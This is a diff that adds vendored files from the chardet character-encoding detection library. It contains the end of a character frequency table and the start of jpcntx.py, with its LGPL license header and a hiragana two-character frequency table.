499,2179, 676,4629, 557,2329,2214,2090, 325,3234, 464, 811,3001, 992,2342, # 1744 +2481,1232,1469, 303,2242, 466,1070,2163, 603,1777,2091,4630,2752,4631,2714, 322, # 1760 +2659,1964,1768, 481,2188,1463,2330,2857,3600,2092,3031,2421,4632,2318,2070,1849, # 1776 +2598,4633,1302,2254,1668,1701,2422,3811,2905,3032,3123,2046,4106,1763,1694,4634, # 1792 +1604, 943,1724,1454, 917, 868,2215,1169,2940, 552,1145,1800,1228,1823,1955, 316, # 1808 +1080,2510, 361,1807,2830,4107,2660,3381,1346,1423,1134,4108,6127, 541,1263,1229, # 1824 +1148,2540, 545, 465,1833,2880,3438,1901,3074,2482, 816,3937, 713,1788,2500, 122, # 1840 +1575, 195,1451,2501,1111,6128, 859, 374,1225,2243,2483,4317, 390,1033,3439,3075, # 1856 +2524,1687, 266, 793,1440,2599, 946, 779, 802, 507, 897,1081, 528,2189,1292, 711, # 1872 +1866,1725,1167,1640, 753, 398,2661,1053, 246, 348,4318, 137,1024,3440,1600,2077, # 1888 +2129, 825,4319, 698, 238, 521, 187,2300,1157,2423,1641,1605,1464,1610,1097,2541, # 1904 +1260,1436, 759,2255,1814,2150, 705,3235, 409,2563,3304, 561,3033,2005,2564, 726, # 1920 +1956,2343,3698,4109, 949,3812,3813,3520,1669, 653,1379,2525, 881,2198, 632,2256, # 1936 +1027, 778,1074, 733,1957, 514,1481,2466, 554,2180, 702,3938,1606,1017,1398,6129, # 1952 +1380,3521, 921, 993,1313, 594, 449,1489,1617,1166, 768,1426,1360, 495,1794,3601, # 1968 +1177,3602,1170,4320,2344, 476, 425,3167,4635,3168,1424, 401,2662,1171,3382,1998, # 1984 +1089,4110, 477,3169, 474,6130,1909, 596,2831,1842, 494, 693,1051,1028,1207,3076, # 2000 + 606,2115, 727,2790,1473,1115, 743,3522, 630, 805,1532,4321,2021, 366,1057, 838, # 2016 + 684,1114,2142,4322,2050,1492,1892,1808,2271,3814,2424,1971,1447,1373,3305,1090, # 2032 +1536,3939,3523,3306,1455,2199, 336, 369,2331,1035, 584,2393, 902, 718,2600,6131, # 2048 +2753, 463,2151,1149,1611,2467, 715,1308,3124,1268, 343,1413,3236,1517,1347,2663, # 2064 +2093,3940,2022,1131,1553,2100,2941,1427,3441,2942,1323,2484,6132,1980, 872,2368, # 2080 +2441,2943, 320,2369,2116,1082, 679,1933,3941,2791,3815, 625,1143,2023, 422,2200, # 2096 +3816,6133, 730,1695, 356,2257,1626,2301,2858,2637,1627,1778, 937, 883,2906,2693, # 2112 +3002,1769,1086, 400,1063,1325,3307,2792,4111,3077, 456,2345,1046, 747,6134,1524, # 2128 + 884,1094,3383,1474,2164,1059, 974,1688,2181,2258,1047, 345,1665,1187, 358, 875, # 2144 +3170, 305, 660,3524,2190,1334,1135,3171,1540,1649,2542,1527, 927, 968,2793, 885, # 2160 +1972,1850, 482, 500,2638,1218,1109,1085,2543,1654,2034, 876, 78,2287,1482,1277, # 2176 + 861,1675,1083,1779, 724,2754, 454, 397,1132,1612,2332, 893, 672,1237, 257,2259, # 2192 +2370, 135,3384, 337,2244, 547, 352, 340, 709,2485,1400, 788,1138,2511, 540, 772, # 2208 +1682,2260,2272,2544,2013,1843,1902,4636,1999,1562,2288,4637,2201,1403,1533, 407, # 2224 + 576,3308,1254,2071, 978,3385, 170, 136,1201,3125,2664,3172,2394, 213, 912, 873, # 2240 +3603,1713,2202, 699,3604,3699, 813,3442, 493, 531,1054, 468,2907,1483, 304, 281, # 2256 +4112,1726,1252,2094, 339,2319,2130,2639, 756,1563,2944, 748, 571,2976,1588,2425, # 2272 +2715,1851,1460,2426,1528,1392,1973,3237, 288,3309, 685,3386, 296, 892,2716,2216, # 2288 +1570,2245, 722,1747,2217, 905,3238,1103,6135,1893,1441,1965, 251,1805,2371,3700, # 2304 +2601,1919,1078, 75,2182,1509,1592,1270,2640,4638,2152,6136,3310,3817, 524, 706, # 2320 +1075, 292,3818,1756,2602, 317, 98,3173,3605,3525,1844,2218,3819,2502, 814, 567, # 2336 + 385,2908,1534,6137, 534,1642,3239, 797,6138,1670,1529, 953,4323, 188,1071, 538, # 2352 + 178, 729,3240,2109,1226,1374,2000,2357,2977, 731,2468,1116,2014,2051,6139,1261, # 2368 +1593, 803,2859,2736,3443, 556, 682, 823,1541,6140,1369,2289,1706,2794, 845, 462, # 2384 +2603,2665,1361, 387, 162,2358,1740, 739,1770,1720,1304,1401,3241,1049, 627,1571, # 2400 +2427,3526,1877,3942,1852,1500, 431,1910,1503, 677, 297,2795, 286,1433,1038,1198, # 2416 +2290,1133,1596,4113,4639,2469,1510,1484,3943,6141,2442, 108, 712,4640,2372, 866, # 2432 +3701,2755,3242,1348, 834,1945,1408,3527,2395,3243,1811, 824, 994,1179,2110,1548, # 2448 +1453, 790,3003, 690,4324,4325,2832,2909,3820,1860,3821, 225,1748, 310, 346,1780, # 2464 +2470, 821,1993,2717,2796, 828, 877,3528,2860,2471,1702,2165,2910,2486,1789, 453, # 2480 + 359,2291,1676, 73,1164,1461,1127,3311, 421, 604, 314,1037, 589, 116,2487, 737, # 2496 + 837,1180, 111, 244, 735,6142,2261,1861,1362, 986, 523, 418, 581,2666,3822, 103, # 2512 + 855, 503,1414,1867,2488,1091, 657,1597, 979, 605,1316,4641,1021,2443,2078,2001, # 2528 +1209, 96, 587,2166,1032, 260,1072,2153, 173, 94, 226,3244, 819,2006,4642,4114, # 2544 +2203, 231,1744, 782, 97,2667, 786,3387, 887, 391, 442,2219,4326,1425,6143,2694, # 2560 + 633,1544,1202, 483,2015, 592,2052,1958,2472,1655, 419, 129,4327,3444,3312,1714, # 2576 +1257,3078,4328,1518,1098, 865,1310,1019,1885,1512,1734, 469,2444, 148, 773, 436, # 2592 +1815,1868,1128,1055,4329,1245,2756,3445,2154,1934,1039,4643, 579,1238, 932,2320, # 2608 + 353, 205, 801, 115,2428, 944,2321,1881, 399,2565,1211, 678, 766,3944, 335,2101, # 2624 +1459,1781,1402,3945,2737,2131,1010, 844, 981,1326,1013, 550,1816,1545,2620,1335, # 2640 +1008, 371,2881, 936,1419,1613,3529,1456,1395,2273,1834,2604,1317,2738,2503, 416, # 2656 +1643,4330, 806,1126, 229, 591,3946,1314,1981,1576,1837,1666, 347,1790, 977,3313, # 2672 + 764,2861,1853, 688,2429,1920,1462, 77, 595, 415,2002,3034, 798,1192,4115,6144, # 2688 +2978,4331,3035,2695,2582,2072,2566, 430,2430,1727, 842,1396,3947,3702, 613, 377, # 2704 + 278, 236,1417,3388,3314,3174, 757,1869, 107,3530,6145,1194, 623,2262, 207,1253, # 2720 +2167,3446,3948, 492,1117,1935, 536,1838,2757,1246,4332, 696,2095,2406,1393,1572, # 2736 +3175,1782, 583, 190, 253,1390,2230, 830,3126,3389, 934,3245,1703,1749,2979,1870, # 2752 +2545,1656,2204, 869,2346,4116,3176,1817, 496,1764,4644, 942,1504, 404,1903,1122, # 2768 +1580,3606,2945,1022, 515, 372,1735, 955,2431,3036,6146,2797,1110,2302,2798, 617, # 2784 +6147, 441, 762,1771,3447,3607,3608,1904, 840,3037, 86, 939,1385, 572,1370,2445, # 2800 +1336, 114,3703, 898, 294, 203,3315, 703,1583,2274, 429, 961,4333,1854,1951,3390, # 2816 +2373,3704,4334,1318,1381, 966,1911,2322,1006,1155, 309, 989, 458,2718,1795,1372, # 2832 +1203, 252,1689,1363,3177, 517,1936, 168,1490, 562, 193,3823,1042,4117,1835, 551, # 2848 + 470,4645, 395, 489,3448,1871,1465,2583,2641, 417,1493, 279,1295, 511,1236,1119, # 2864 + 72,1231,1982,1812,3004, 871,1564, 984,3449,1667,2696,2096,4646,2347,2833,1673, # 2880 +3609, 695,3246,2668, 807,1183,4647, 890, 388,2333,1801,1457,2911,1765,1477,1031, # 2896 +3316,3317,1278,3391,2799,2292,2526, 163,3450,4335,2669,1404,1802,6148,2323,2407, # 2912 +1584,1728,1494,1824,1269, 298, 909,3318,1034,1632, 375, 776,1683,2061, 291, 210, # 2928 +1123, 809,1249,1002,2642,3038, 206,1011,2132, 144, 975, 882,1565, 342, 667, 754, # 2944 +1442,2143,1299,2303,2062, 447, 626,2205,1221,2739,2912,1144,1214,2206,2584, 760, # 2960 +1715, 614, 950,1281,2670,2621, 810, 577,1287,2546,4648, 242,2168, 250,2643, 691, # 2976 + 123,2644, 647, 313,1029, 689,1357,2946,1650, 216, 771,1339,1306, 808,2063, 549, # 2992 + 913,1371,2913,2914,6149,1466,1092,1174,1196,1311,2605,2396,1783,1796,3079, 406, # 3008 +2671,2117,3949,4649, 487,1825,2220,6150,2915, 448,2348,1073,6151,2397,1707, 130, # 3024 + 900,1598, 329, 176,1959,2527,1620,6152,2275,4336,3319,1983,2191,3705,3610,2155, # 3040 +3706,1912,1513,1614,6153,1988, 646, 392,2304,1589,3320,3039,1826,1239,1352,1340, # 3056 +2916, 505,2567,1709,1437,2408,2547, 906,6154,2672, 384,1458,1594,1100,1329, 710, # 3072 + 423,3531,2064,2231,2622,1989,2673,1087,1882, 333, 841,3005,1296,2882,2379, 580, # 3088 +1937,1827,1293,2585, 601, 574, 249,1772,4118,2079,1120, 645, 901,1176,1690, 795, # 3104 +2207, 478,1434, 516,1190,1530, 761,2080, 930,1264, 355, 435,1552, 644,1791, 987, # 3120 + 220,1364,1163,1121,1538, 306,2169,1327,1222, 546,2645, 218, 241, 610,1704,3321, # 3136 +1984,1839,1966,2528, 451,6155,2586,3707,2568, 907,3178, 254,2947, 186,1845,4650, # 3152 + 745, 432,1757, 428,1633, 888,2246,2221,2489,3611,2118,1258,1265, 956,3127,1784, # 3168 +4337,2490, 319, 510, 119, 457,3612, 274,2035,2007,4651,1409,3128, 970,2758, 590, # 3184 +2800, 661,2247,4652,2008,3950,1420,1549,3080,3322,3951,1651,1375,2111, 485,2491, # 3200 +1429,1156,6156,2548,2183,1495, 831,1840,2529,2446, 501,1657, 307,1894,3247,1341, # 3216 + 666, 899,2156,1539,2549,1559, 886, 349,2208,3081,2305,1736,3824,2170,2759,1014, # 3232 +1913,1386, 542,1397,2948, 490, 368, 716, 362, 159, 282,2569,1129,1658,1288,1750, # 3248 +2674, 276, 649,2016, 751,1496, 658,1818,1284,1862,2209,2087,2512,3451, 622,2834, # 3264 + 376, 117,1060,2053,1208,1721,1101,1443, 247,1250,3179,1792,3952,2760,2398,3953, # 3280 +6157,2144,3708, 446,2432,1151,2570,3452,2447,2761,2835,1210,2448,3082, 424,2222, # 3296 +1251,2449,2119,2836, 504,1581,4338, 602, 817, 857,3825,2349,2306, 357,3826,1470, # 3312 +1883,2883, 255, 958, 929,2917,3248, 302,4653,1050,1271,1751,2307,1952,1430,2697, # 3328 +2719,2359, 354,3180, 777, 158,2036,4339,1659,4340,4654,2308,2949,2248,1146,2232, # 3344 +3532,2720,1696,2623,3827,6158,3129,1550,2698,1485,1297,1428, 637, 931,2721,2145, # 3360 + 914,2550,2587, 81,2450, 612, 827,2646,1242,4655,1118,2884, 472,1855,3181,3533, # 3376 +3534, 569,1353,2699,1244,1758,2588,4119,2009,2762,2171,3709,1312,1531,6159,1152, # 3392 +1938, 134,1830, 471,3710,2276,1112,1535,3323,3453,3535, 982,1337,2950, 488, 826, # 3408 + 674,1058,1628,4120,2017, 522,2399, 211, 568,1367,3454, 350, 293,1872,1139,3249, # 3424 +1399,1946,3006,1300,2360,3324, 588, 736,6160,2606, 744, 669,3536,3828,6161,1358, # 3440 + 199, 723, 848, 933, 851,1939,1505,1514,1338,1618,1831,4656,1634,3613, 443,2740, # 3456 +3829, 717,1947, 491,1914,6162,2551,1542,4121,1025,6163,1099,1223, 198,3040,2722, # 3472 + 370, 410,1905,2589, 998,1248,3182,2380, 519,1449,4122,1710, 947, 928,1153,4341, # 3488 +2277, 344,2624,1511, 615, 105, 161,1212,1076,1960,3130,2054,1926,1175,1906,2473, # 3504 + 414,1873,2801,6164,2309, 315,1319,3325, 318,2018,2146,2157, 963, 631, 223,4342, # 3520 +4343,2675, 479,3711,1197,2625,3712,2676,2361,6165,4344,4123,6166,2451,3183,1886, # 3536 +2184,1674,1330,1711,1635,1506, 799, 219,3250,3083,3954,1677,3713,3326,2081,3614, # 3552 +1652,2073,4657,1147,3041,1752, 643,1961, 147,1974,3955,6167,1716,2037, 918,3007, # 3568 +1994, 120,1537, 118, 609,3184,4345, 740,3455,1219, 332,1615,3830,6168,1621,2980, # 3584 +1582, 783, 212, 553,2350,3714,1349,2433,2082,4124, 889,6169,2310,1275,1410, 973, # 3600 + 166,1320,3456,1797,1215,3185,2885,1846,2590,2763,4658, 629, 822,3008, 763, 940, # 3616 +1990,2862, 439,2409,1566,1240,1622, 926,1282,1907,2764, 654,2210,1607, 327,1130, # 3632 +3956,1678,1623,6170,2434,2192, 686, 608,3831,3715, 903,3957,3042,6171,2741,1522, # 3648 +1915,1105,1555,2552,1359, 323,3251,4346,3457, 738,1354,2553,2311,2334,1828,2003, # 3664 +3832,1753,2351,1227,6172,1887,4125,1478,6173,2410,1874,1712,1847, 520,1204,2607, # 3680 + 264,4659, 836,2677,2102, 600,4660,3833,2278,3084,6174,4347,3615,1342, 640, 532, # 3696 + 543,2608,1888,2400,2591,1009,4348,1497, 341,1737,3616,2723,1394, 529,3252,1321, # 3712 + 983,4661,1515,2120, 971,2592, 924, 287,1662,3186,4349,2700,4350,1519, 908,1948, # 3728 +2452, 156, 796,1629,1486,2223,2055, 694,4126,1259,1036,3392,1213,2249,2742,1889, # 3744 +1230,3958,1015, 910, 408, 559,3617,4662, 746, 725, 935,4663,3959,3009,1289, 563, # 3760 + 867,4664,3960,1567,2981,2038,2626, 988,2263,2381,4351, 143,2374, 704,1895,6175, # 3776 +1188,3716,2088, 673,3085,2362,4352, 484,1608,1921,2765,2918, 215, 904,3618,3537, # 3792 + 894, 509, 976,3043,2701,3961,4353,2837,2982, 498,6176,6177,1102,3538,1332,3393, # 3808 +1487,1636,1637, 233, 245,3962, 383, 650, 995,3044, 460,1520,1206,2352, 749,3327, # 3824 + 530, 700, 389,1438,1560,1773,3963,2264, 719,2951,2724,3834, 870,1832,1644,1000, # 3840 + 839,2474,3717, 197,1630,3394, 365,2886,3964,1285,2133, 734, 922, 818,1106, 732, # 3856 + 480,2083,1774,3458, 923,2279,1350, 221,3086, 85,2233,2234,3835,1585,3010,2147, # 3872 +1387,1705,2382,1619,2475, 133, 239,2802,1991,1016,2084,2383, 411,2838,1113, 651, # 3888 +1985,1160,3328, 990,1863,3087,1048,1276,2647, 265,2627,1599,3253,2056, 150, 638, # 3904 +2019, 656, 853, 326,1479, 680,1439,4354,1001,1759, 413,3459,3395,2492,1431, 459, # 3920 +4355,1125,3329,2265,1953,1450,2065,2863, 849, 351,2678,3131,3254,3255,1104,1577, # 3936 + 227,1351,1645,2453,2193,1421,2887, 812,2121, 634, 95,2435, 201,2312,4665,1646, # 3952 +1671,2743,1601,2554,2702,2648,2280,1315,1366,2089,3132,1573,3718,3965,1729,1189, # 3968 + 328,2679,1077,1940,1136, 558,1283, 964,1195, 621,2074,1199,1743,3460,3619,1896, # 3984 +1916,1890,3836,2952,1154,2112,1064, 862, 378,3011,2066,2113,2803,1568,2839,6178, # 4000 +3088,2919,1941,1660,2004,1992,2194, 142, 707,1590,1708,1624,1922,1023,1836,1233, # 4016 +1004,2313, 789, 741,3620,6179,1609,2411,1200,4127,3719,3720,4666,2057,3721, 593, # 4032 +2840, 367,2920,1878,6180,3461,1521, 628,1168, 692,2211,2649, 300, 720,2067,2571, # 4048 +2953,3396, 959,2504,3966,3539,3462,1977, 701,6181, 954,1043, 800, 681, 183,3722, # 4064 +1803,1730,3540,4128,2103, 815,2314, 174, 467, 230,2454,1093,2134, 755,3541,3397, # 4080 +1141,1162,6182,1738,2039, 270,3256,2513,1005,1647,2185,3837, 858,1679,1897,1719, # 4096 +2954,2324,1806, 402, 670, 167,4129,1498,2158,2104, 750,6183, 915, 189,1680,1551, # 4112 + 455,4356,1501,2455, 405,1095,2955, 338,1586,1266,1819, 570, 641,1324, 237,1556, # 4128 +2650,1388,3723,6184,1368,2384,1343,1978,3089,2436, 879,3724, 792,1191, 758,3012, # 4144 +1411,2135,1322,4357, 240,4667,1848,3725,1574,6185, 420,3045,1546,1391, 714,4358, # 4160 +1967, 941,1864, 863, 664, 426, 560,1731,2680,1785,2864,1949,2363, 403,3330,1415, # 4176 +1279,2136,1697,2335, 204, 721,2097,3838, 90,6186,2085,2505, 191,3967, 124,2148, # 4192 +1376,1798,1178,1107,1898,1405, 860,4359,1243,1272,2375,2983,1558,2456,1638, 113, # 4208 +3621, 578,1923,2609, 880, 386,4130, 784,2186,2266,1422,2956,2172,1722, 497, 263, # 4224 +2514,1267,2412,2610, 177,2703,3542, 774,1927,1344, 616,1432,1595,1018, 172,4360, # 4240 +2325, 911,4361, 438,1468,3622, 794,3968,2024,2173,1681,1829,2957, 945, 895,3090, # 4256 + 575,2212,2476, 475,2401,2681, 785,2744,1745,2293,2555,1975,3133,2865, 394,4668, # 4272 +3839, 635,4131, 639, 202,1507,2195,2766,1345,1435,2572,3726,1908,1184,1181,2457, # 4288 +3727,3134,4362, 843,2611, 437, 916,4669, 234, 769,1884,3046,3047,3623, 833,6187, # 4304 +1639,2250,2402,1355,1185,2010,2047, 999, 525,1732,1290,1488,2612, 948,1578,3728, # 4320 +2413,2477,1216,2725,2159, 334,3840,1328,3624,2921,1525,4132, 564,1056, 891,4363, # 4336 +1444,1698,2385,2251,3729,1365,2281,2235,1717,6188, 864,3841,2515, 444, 527,2767, # 4352 +2922,3625, 544, 461,6189, 566, 209,2437,3398,2098,1065,2068,3331,3626,3257,2137, # 4368 #last 512 +) + + diff --git a/src/thirdparty/chardet/jpcntx.py b/src/thirdparty/chardet/jpcntx.py new file mode 100644 index 0000000000..20044e4bc8 --- /dev/null +++ b/src/thirdparty/chardet/jpcntx.py @@ -0,0 +1,233 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + + +# This is hiragana 2-char sequence table, the number in each cell represents its frequency category +jp2CharContext = ( +(0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1), +(2,4,0,4,0,3,0,4,0,3,4,4,4,2,4,3,3,4,3,2,3,3,4,2,3,3,3,2,4,1,4,3,3,1,5,4,3,4,3,4,3,5,3,0,3,5,4,2,0,3,1,0,3,3,0,3,3,0,1,1,0,4,3,0,3,3,0,4,0,2,0,3,5,5,5,5,4,0,4,1,0,3,4), +(0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2), +(0,4,0,5,0,5,0,4,0,4,5,4,4,3,5,3,5,1,5,3,4,3,4,4,3,4,3,3,4,3,5,4,4,3,5,5,3,5,5,5,3,5,5,3,4,5,5,3,1,3,2,0,3,4,0,4,2,0,4,2,1,5,3,2,3,5,0,4,0,2,0,5,4,4,5,4,5,0,4,0,0,4,4), +(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), +(0,3,0,4,0,3,0,3,0,4,5,4,3,3,3,3,4,3,5,4,4,3,5,4,4,3,4,3,4,4,4,4,5,3,4,4,3,4,5,5,4,5,5,1,4,5,4,3,0,3,3,1,3,3,0,4,4,0,3,3,1,5,3,3,3,5,0,4,0,3,0,4,4,3,4,3,3,0,4,1,1,3,4), +(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), +(0,4,0,3,0,3,0,4,0,3,4,4,3,2,2,1,2,1,3,1,3,3,3,3,3,4,3,1,3,3,5,3,3,0,4,3,0,5,4,3,3,5,4,4,3,4,4,5,0,1,2,0,1,2,0,2,2,0,1,0,0,5,2,2,1,4,0,3,0,1,0,4,4,3,5,4,3,0,2,1,0,4,3), +(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), +(0,3,0,5,0,4,0,2,1,4,4,2,4,1,4,2,4,2,4,3,3,3,4,3,3,3,3,1,4,2,3,3,3,1,4,4,1,1,1,4,3,3,2,0,2,4,3,2,0,3,3,0,3,1,1,0,0,0,3,3,0,4,2,2,3,4,0,4,0,3,0,4,4,5,3,4,4,0,3,0,0,1,4), +(1,4,0,4,0,4,0,4,0,3,5,4,4,3,4,3,5,4,3,3,4,3,5,4,4,4,4,3,4,2,4,3,3,1,5,4,3,2,4,5,4,5,5,4,4,5,4,4,0,3,2,2,3,3,0,4,3,1,3,2,1,4,3,3,4,5,0,3,0,2,0,4,5,5,4,5,4,0,4,0,0,5,4), +(0,5,0,5,0,4,0,3,0,4,4,3,4,3,3,3,4,0,4,4,4,3,4,3,4,3,3,1,4,2,4,3,4,0,5,4,1,4,5,4,4,5,3,2,4,3,4,3,2,4,1,3,3,3,2,3,2,0,4,3,3,4,3,3,3,4,0,4,0,3,0,4,5,4,4,4,3,0,4,1,0,1,3), +(0,3,1,4,0,3,0,2,0,3,4,4,3,1,4,2,3,3,4,3,4,3,4,3,4,4,3,2,3,1,5,4,4,1,4,4,3,5,4,4,3,5,5,4,3,4,4,3,1,2,3,1,2,2,0,3,2,0,3,1,0,5,3,3,3,4,3,3,3,3,4,4,4,4,5,4,2,0,3,3,2,4,3), +(0,2,0,3,0,1,0,1,0,0,3,2,0,0,2,0,1,0,2,1,3,3,3,1,2,3,1,0,1,0,4,2,1,1,3,3,0,4,3,3,1,4,3,3,0,3,3,2,0,0,0,0,1,0,0,2,0,0,0,0,0,4,1,0,2,3,2,2,2,1,3,3,3,4,4,3,2,0,3,1,0,3,3), +(0,4,0,4,0,3,0,3,0,4,4,4,3,3,3,3,3,3,4,3,4,2,4,3,4,3,3,2,4,3,4,5,4,1,4,5,3,5,4,5,3,5,4,0,3,5,5,3,1,3,3,2,2,3,0,3,4,1,3,3,2,4,3,3,3,4,0,4,0,3,0,4,5,4,4,5,3,0,4,1,0,3,4), +(0,2,0,3,0,3,0,0,0,2,2,2,1,0,1,0,0,0,3,0,3,0,3,0,1,3,1,0,3,1,3,3,3,1,3,3,3,0,1,3,1,3,4,0,0,3,1,1,0,3,2,0,0,0,0,1,3,0,1,0,0,3,3,2,0,3,0,0,0,0,0,3,4,3,4,3,3,0,3,0,0,2,3), +(2,3,0,3,0,2,0,1,0,3,3,4,3,1,3,1,1,1,3,1,4,3,4,3,3,3,0,0,3,1,5,4,3,1,4,3,2,5,5,4,4,4,4,3,3,4,4,4,0,2,1,1,3,2,0,1,2,0,0,1,0,4,1,3,3,3,0,3,0,1,0,4,4,4,5,5,3,0,2,0,0,4,4), +(0,2,0,1,0,3,1,3,0,2,3,3,3,0,3,1,0,0,3,0,3,2,3,1,3,2,1,1,0,0,4,2,1,0,2,3,1,4,3,2,0,4,4,3,1,3,1,3,0,1,0,0,1,0,0,0,1,0,0,0,0,4,1,1,1,2,0,3,0,0,0,3,4,2,4,3,2,0,1,0,0,3,3), +(0,1,0,4,0,5,0,4,0,2,4,4,2,3,3,2,3,3,5,3,3,3,4,3,4,2,3,0,4,3,3,3,4,1,4,3,2,1,5,5,3,4,5,1,3,5,4,2,0,3,3,0,1,3,0,4,2,0,1,3,1,4,3,3,3,3,0,3,0,1,0,3,4,4,4,5,5,0,3,0,1,4,5), +(0,2,0,3,0,3,0,0,0,2,3,1,3,0,4,0,1,1,3,0,3,4,3,2,3,1,0,3,3,2,3,1,3,0,2,3,0,2,1,4,1,2,2,0,0,3,3,0,0,2,0,0,0,1,0,0,0,0,2,2,0,3,2,1,3,3,0,2,0,2,0,0,3,3,1,2,4,0,3,0,2,2,3), +(2,4,0,5,0,4,0,4,0,2,4,4,4,3,4,3,3,3,1,2,4,3,4,3,4,4,5,0,3,3,3,3,2,0,4,3,1,4,3,4,1,4,4,3,3,4,4,3,1,2,3,0,4,2,0,4,1,0,3,3,0,4,3,3,3,4,0,4,0,2,0,3,5,3,4,5,2,0,3,0,0,4,5), +(0,3,0,4,0,1,0,1,0,1,3,2,2,1,3,0,3,0,2,0,2,0,3,0,2,0,0,0,1,0,1,1,0,0,3,1,0,0,0,4,0,3,1,0,2,1,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,4,2,2,3,1,0,3,0,0,0,1,4,4,4,3,0,0,4,0,0,1,4), +(1,4,1,5,0,3,0,3,0,4,5,4,4,3,5,3,3,4,4,3,4,1,3,3,3,3,2,1,4,1,5,4,3,1,4,4,3,5,4,4,3,5,4,3,3,4,4,4,0,3,3,1,2,3,0,3,1,0,3,3,0,5,4,4,4,4,4,4,3,3,5,4,4,3,3,5,4,0,3,2,0,4,4), +(0,2,0,3,0,1,0,0,0,1,3,3,3,2,4,1,3,0,3,1,3,0,2,2,1,1,0,0,2,0,4,3,1,0,4,3,0,4,4,4,1,4,3,1,1,3,3,1,0,2,0,0,1,3,0,0,0,0,2,0,0,4,3,2,4,3,5,4,3,3,3,4,3,3,4,3,3,0,2,1,0,3,3), +(0,2,0,4,0,3,0,2,0,2,5,5,3,4,4,4,4,1,4,3,3,0,4,3,4,3,1,3,3,2,4,3,0,3,4,3,0,3,4,4,2,4,4,0,4,5,3,3,2,2,1,1,1,2,0,1,5,0,3,3,2,4,3,3,3,4,0,3,0,2,0,4,4,3,5,5,0,0,3,0,2,3,3), +(0,3,0,4,0,3,0,1,0,3,4,3,3,1,3,3,3,0,3,1,3,0,4,3,3,1,1,0,3,0,3,3,0,0,4,4,0,1,5,4,3,3,5,0,3,3,4,3,0,2,0,1,1,1,0,1,3,0,1,2,1,3,3,2,3,3,0,3,0,1,0,1,3,3,4,4,1,0,1,2,2,1,3), +(0,1,0,4,0,4,0,3,0,1,3,3,3,2,3,1,1,0,3,0,3,3,4,3,2,4,2,0,1,0,4,3,2,0,4,3,0,5,3,3,2,4,4,4,3,3,3,4,0,1,3,0,0,1,0,0,1,0,0,0,0,4,2,3,3,3,0,3,0,0,0,4,4,4,5,3,2,0,3,3,0,3,5), +(0,2,0,3,0,0,0,3,0,1,3,0,2,0,0,0,1,0,3,1,1,3,3,0,0,3,0,0,3,0,2,3,1,0,3,1,0,3,3,2,0,4,2,2,0,2,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,2,1,2,0,1,0,1,0,0,0,1,3,1,2,0,0,0,1,0,0,1,4), +(0,3,0,3,0,5,0,1,0,2,4,3,1,3,3,2,1,1,5,2,1,0,5,1,2,0,0,0,3,3,2,2,3,2,4,3,0,0,3,3,1,3,3,0,2,5,3,4,0,3,3,0,1,2,0,2,2,0,3,2,0,2,2,3,3,3,0,2,0,1,0,3,4,4,2,5,4,0,3,0,0,3,5), +(0,3,0,3,0,3,0,1,0,3,3,3,3,0,3,0,2,0,2,1,1,0,2,0,1,0,0,0,2,1,0,0,1,0,3,2,0,0,3,3,1,2,3,1,0,3,3,0,0,1,0,0,0,0,0,2,0,0,0,0,0,2,3,1,2,3,0,3,0,1,0,3,2,1,0,4,3,0,1,1,0,3,3), +(0,4,0,5,0,3,0,3,0,4,5,5,4,3,5,3,4,3,5,3,3,2,5,3,4,4,4,3,4,3,4,5,5,3,4,4,3,4,4,5,4,4,4,3,4,5,5,4,2,3,4,2,3,4,0,3,3,1,4,3,2,4,3,3,5,5,0,3,0,3,0,5,5,5,5,4,4,0,4,0,1,4,4), +(0,4,0,4,0,3,0,3,0,3,5,4,4,2,3,2,5,1,3,2,5,1,4,2,3,2,3,3,4,3,3,3,3,2,5,4,1,3,3,5,3,4,4,0,4,4,3,1,1,3,1,0,2,3,0,2,3,0,3,0,0,4,3,1,3,4,0,3,0,2,0,4,4,4,3,4,5,0,4,0,0,3,4), 